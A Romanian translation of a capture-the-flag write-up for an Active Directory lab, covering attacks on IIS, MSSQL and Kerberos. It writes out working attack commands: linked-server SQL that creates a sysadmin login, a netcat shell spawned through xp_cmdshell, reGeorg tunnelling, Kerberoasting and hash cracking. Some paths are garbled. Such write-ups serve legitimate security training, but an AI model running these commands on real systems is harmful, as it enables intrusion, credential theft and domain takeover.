În acest articol, vom analiza trecerea nu doar a unei mașini, ci a unui întreg mini-laborator de pe site
După cum se precizează în descriere, POO este conceput pentru a testa abilitățile în toate etapele atacurilor într-un mediu Active Directory mic. Scopul este de a compromite o gazdă disponibilă, de a escalada privilegiile și, în cele din urmă, de a compromite întregul domeniu prin colectarea a 5 steaguri în acest proces.
Conexiunea la laborator se face prin VPN. Este recomandat să nu vă conectați de la un computer care funcționează sau de la o gazdă unde există date importante pentru dvs., deoarece intri într-o rețea privată cu oameni care știu ceva despre securitatea informațiilor 🙂
informatii organizatorice
Pentru a putea afla despre articole noi, software și alte informații, am creat
Toate informațiile sunt furnizate doar în scop educațional. Autorul acestui document nu își asumă nicio responsabilitate pentru orice daune cauzate cuiva ca urmare a utilizării cunoștințelor și metodelor obținute ca urmare a studierii acestui document.
Introducere
Acest joc final constă din două mașini și conține 5 steaguri.
De asemenea, sunt oferite descrierea și adresa gazdei disponibile.
Hai să începem!
Steagul Recon
Această mașină are o adresă IP de 10.13.38.11 pe care o adaug la /etc/hosts.
10.13.38.11 poo.htb
Primul pas este să scanați porturile deschise. Deoarece este nevoie de mult timp pentru a scana toate porturile cu nmap, mai întâi o voi face cu masscan. Scanăm toate porturile TCP și UDP din interfața tun0 la 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Acum, pentru a obține informații mai detaliate despre serviciile care rulează pe porturi, să rulăm o scanare cu opțiunea -A.
nmap -A poo.htb -p80,1433
Astfel, avem servicii IIS și MSSQL. În acest caz, vom afla numele DNS real al domeniului și al computerului. Pe serverul web, suntem întâmpinați de pagina de pornire a IIS.
Să repetăm directoarele. Folosesc gobuster pentru asta. În parametri specificăm numărul de fluxuri 128 (-t), URL (-u), dicționar (-w) și extensii care ne interesează (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Astfel, avem autentificare HTTP pentru directorul /admin, precum și fișierul de stocare al serviciului desktop .DS_Store disponibil. .DS_Store sunt fișiere care stochează setările utilizatorului pentru un folder, cum ar fi o listă de fișiere, locația pictogramei, imaginea de fundal selectată. Un astfel de fișier poate ajunge în directorul serverului web al dezvoltatorilor web. Astfel, obținem informații despre conținutul directorului. Pentru aceasta puteți folosi
python3 dsstore_crawler.py -i http://poo.htb/
Obținem conținutul directorului. Cel mai interesant lucru aici este directorul /dev, din care putem vedea sursele și fișierele db în două ramuri. Dar putem folosi primele 6 caractere ale numelor de fișiere și directoare dacă serviciul este vulnerabil la IIS ShortName. Puteți verifica această vulnerabilitate folosind
Și găsim un fișier text care începe cu „poo_co”. Neștiind ce să fac în continuare, am selectat pur și simplu din dicționarul directoarelor toate cuvintele care încep cu „co”.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Și repetați cu wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Și găsește cuvântul potrivit! Ne uităm la acest fișier, salvăm acreditările (judecând după parametrul DBNAME, acestea sunt din MSSQL).
Predăm steagul și avansăm cu 20%.
Huh steag
Ne conectăm la MSSQL, eu folosesc DBeaver.
Nu găsim nimic interesant în această bază de date, să creăm un Editor SQL și să verificăm ce utilizatori sunt.
SELECT name FROM master..syslogins;
Avem doi utilizatori. Să ne verificăm privilegiile.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Astfel, nu există privilegii. Să vedem serverele legate, am scris despre această tehnică în detaliu
SELECT * FROM master..sysservers;
Așa că găsim un alt server SQL. Să verificăm execuția comenzilor pe acest server folosind openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Și putem chiar să construim un arbore de interogări.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Cert este că atunci când facem o cerere către un server legat, cererea este executată în contextul altui utilizator! Să vedem ce context de utilizator rulăm pe serverul conectat.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Și acum să vedem în ce context se execută cererea de la serverul legat la al nostru!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Astfel, este un context DBO care trebuie să aibă toate privilegiile. Să verificăm privilegiile în cazul unei solicitări de la un server conectat.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
După cum puteți vedea, avem toate privilegiile! Să ne creăm administratorul astfel. Dar nu îi lasă să treacă prin openquery, să o facem prin EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Și acum ne conectăm cu acreditările noului utilizator, observăm noua bază de date de steag.
Predăm acest steag și mergem mai departe.
Steagul înapoi
Să obținem shell-ul folosind MSSQL, folosesc mssqlclient din pachetul impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Trebuie să obținem parole, iar primul lucru pe care l-am întâlnit deja este site-ul. Astfel, avem nevoie de o configurare a serverului web (este imposibil să aruncăm un shell convenabil, se pare că firewall-ul funcționează).
Dar accesul este interzis. Deși putem citi fișierul din MSSQL, trebuie doar să știm ce limbaje de programare sunt configurate. Și în directorul MSSQL aflăm că există Python.
Atunci nu este nicio problemă să citiți fișierul web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Cu acreditările găsite, accesați /admin și ridicați steag.
steag de picior
De fapt, există unele inconveniente de la folosirea unui firewall, dar uitându-ne prin setările rețelei, observăm că se folosește și protocolul IPv6!
Adăugați această adresă la /etc/hosts.
dead:babe::1001 poo6.htb
Să scanăm din nou gazda, dar de data aceasta prin IPv6.
Și serviciul WinRM este disponibil prin IPv6. Să ne conectăm cu acreditările găsite.
Există un steag pe desktop, predă-l.
P00ned steag
După recunoaştere pe gazdă cu
setspn.exe -T intranet.poo -Q */*
Să executăm comanda prin MSSQL.
În acest fel, obținem SPN-ul utilizatorilor p00_hr și p00_adm, ceea ce înseamnă că aceștia sunt vulnerabili la un atac precum Kerberoasting. Pe scurt, putem obține hash-urile parolelor lor.
Mai întâi trebuie să obțineți un shell stabil în numele utilizatorului MSSQL. Dar din moment ce avem acces limitat, avem o conexiune cu gazda doar prin porturile 80 și 1433. Dar se poate face tunelul de trafic prin portul 80! Pentru aceasta vom folosi
Dar când încercăm să-l accesăm, obținem o eroare 404. Aceasta înseamnă că fișierele *.aspx nu sunt executate. Pentru a face ca fișierele cu aceste extensii să ruleze, instalați ASP.NET 4.5 după cum urmează.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Și acum, când accesăm tunnel.aspx, primim răspunsul că totul este gata să meargă.
Să începem partea client a aplicației, care va retransmite traficul. Vom redirecționa tot traficul de la portul 5432 la server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Și folosim proxychains pentru a trimite traficul oricărei aplicații prin proxy-ul nostru. Să adăugăm acest proxy în fișierul de configurare /etc/proxychains.conf.
Acum să încărcăm programul pe server
Acum, prin MSSQL, lansăm ascultătorul.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Și ne conectăm prin proxy-ul nostru.
proxychains rlwrap nc poo.htb 4321
Și să luăm hash-urile.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Apoi, trebuie să iterați peste aceste hashe-uri. Deoarece rockyou nu avea un dicționar de date despre parole, am folosit TOATE dicționarele de parole furnizate în Seclists. Pentru enumerare folosim hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Și găsim ambele parole, prima în dicționarul dutch_passwordlist.txt și a doua în Keyboard-Combinations.txt.
Și astfel avem trei utilizatori, mergem la controlerul de domeniu. Să aflăm mai întâi adresa lui.
Grozav, am aflat adresa IP a controlerului de domeniu. Să aflăm toți utilizatorii domeniului, precum și care dintre ei este administrator. Pentru a descărca scriptul pentru a obține informații PowerView.ps1. Apoi ne vom conecta folosind evil-winrm, specificând directorul cu scriptul în parametrul -s. Și apoi încărcați doar scriptul PowerView.
Acum avem acces la toate funcțiile sale. Utilizatorul p00_adm arată ca un utilizator privilegiat, așa că vom lucra în contextul său. Să creăm un obiect PSCredential pentru acest utilizator.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Acum toate comenzile Powershell în care specificăm Creds vor fi executate în numele p00_adm. Să afișăm o listă de utilizatori și atributul AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Și astfel, utilizatorul nostru este cu adevărat privilegiat. Să vedem din ce grupuri aparține.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
În cele din urmă confirmăm că utilizatorul este un administrator de domeniu. Acest lucru îi oferă dreptul de a se conecta de la distanță la controlerul de domeniu. Să încercăm să ne autentificăm cu WinRM folosind tunelul nostru. Am fost confuz de erorile emise de reGeorg când am folosit evil-winrm.
Apoi folosim altul, mai ușor,
Încercăm să ne conectăm și suntem în sistem.
Dar nu există nici un steag. Apoi priviți utilizatorul și verificați desktopurile.
La mr3ks găsim steagul și laboratorul este finalizat 100%.
Asta e tot. Ca feedback, comentați dacă ați învățat ceva nou din acest articol și dacă v-a fost util.
Ne poți alătura la
Sursa: www.habr.com